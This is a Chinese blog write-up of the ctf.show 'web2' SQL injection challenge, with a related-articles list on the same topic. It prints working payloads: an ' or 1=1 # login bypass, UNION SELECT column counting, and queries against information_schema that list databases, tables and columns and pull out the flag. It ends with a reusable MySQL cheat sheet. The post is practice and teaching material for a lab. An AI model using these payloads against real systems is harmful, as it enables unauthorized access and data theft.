ctf.show web2 最简单的SQL注入

ctf.show web2 最简单的SQL注入

1、一开始的页面

随便输入用户名和密码看它怎么反应
没报错，只是清空了用户名和密码
题目提示是sql注入，那就用burpsuit抓个包，发送到repeater
点击go
既然是登录的页面，那就用万能密码 ’ or 1=1 #，出现欢迎您，ctfshow，说明登录成功,这里得说明一下username=admin’ or 1=1 #password=123这条语句，#号是注释符，所以后面的语句是被注释掉的，所以剩下username=admin’ or 1=1,or是只要满足一个条件就可以，1=1永远是满足的
那现在就判断有多少字段，’ or 1=1 union select 1，2，3 #，出现欢迎你，说明有三个字段
现在要做顺序就是爆库，爆表，爆字段，爆值
爆库
username=admin’ or 1=1 union select 1,database(),3 #$password=123
爆表
username=admin’ or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“web2”#&password=123
爆字段
username=admin’ or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=“flag”#&password=123
爆值
username=admin’ or 1=1 union select 1,flag,3 from flag#&password=123
flag{c4728289-7cd0-43c6-8b2f-f1f4a98a4e97}

这里我总结一下，因为这里的数据库为mysql，爆库、爆表、爆字段、爆值都是那几条语句
爆库：

union select 1,2,3,database(); #   //这里得看有多少字段

爆表：

union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database(); #

爆字段：

union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="表名"; #

爆值：

union select 1,2,3,字段 from 表名; #

ctf.show web2 最简单的SQL注入相关推荐

第一次CTF【后台登录、简单的sql注入之、简单的sql注入之2、猫抓老鼠、i春秋文件上传】
后台登录 http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php 根据md5($password,true)最后要得到原始二进制字符串,要含有or ,在or ...
【实验吧】CTF_Web_简单的SQL注入之1
题目链接:http://ctf5.shiyanbar.com/423/web/ 简单的SQL注入之1,比2,3都简单一些.利用2 的查询语句也可以实现:1'/**/union/**/select/** ...
简单的SQL注入学习
引贴: http://blog.163.com/lucia_gagaga/blog/static/26476801920168184648754/ 首先需要编写一个php页面,讲php页面放入/opt ...
一个简单的SQL注入攻击
在上一篇博客中:http://blog.csdn.net/suwei19870312/article/details/7579667.讲了Client 端代码和Server端代码的交互. Client ...
一次简单的SQL注入靶场练习
一次简单的SQL注入靶场练习文章目录一次简单的SQL注入靶场练习前言一.靶机下载二.靶场渗透 1.端口扫描总结前言为了巩固SQL注入以及实战演练的需要,我们来做一次简单的关于SQL注入 ...
超详细，手把手教你一次简单的SQL注入，不用任何工具，带你走进web安全的大门
超详细,手把手教你一次简单的SQL注入,不用任何工具,带你走进web安全的大门靶场网站,网站所有权在二向箔安全学院知识盒子简单的SQL注入题目,可以用来入门练习,体验一下实训老套的题目:提取网 ...
简单的SQL注入原理
小白学了一点简单的SQL注入,做了点笔记,感觉挺详细,希望能帮助到学习的伙伴.大佬勿喷,有不足多多的指教. 实验原理 SQL注入攻击是通过将恶意的SQL查询或添加语句插入到应用的输入参数中,再在后台S ...
简单的SQL注入攻击
一.寻找目标如果要对一个网站进行SQL注入攻击,首先就需要找到存在SQL注入漏洞的地方,也就是寻找所谓的注入点.可能的SQL注入点一般存在于登录页面.查找页面或添加页面等用户可以查找或修改数据的地方 ...
sqlmap完成简单的sql注入
扫描目标站点,是否存在注入 --users获取用户名 --dump --tables探测表和数据库信息跑出来的字段 admin --dump -T admin -C admin,password暴库 ...

ctf.show web2 最简单的SQL注入

ctf.show web2 最简单的SQL注入相关推荐

最新文章

热门文章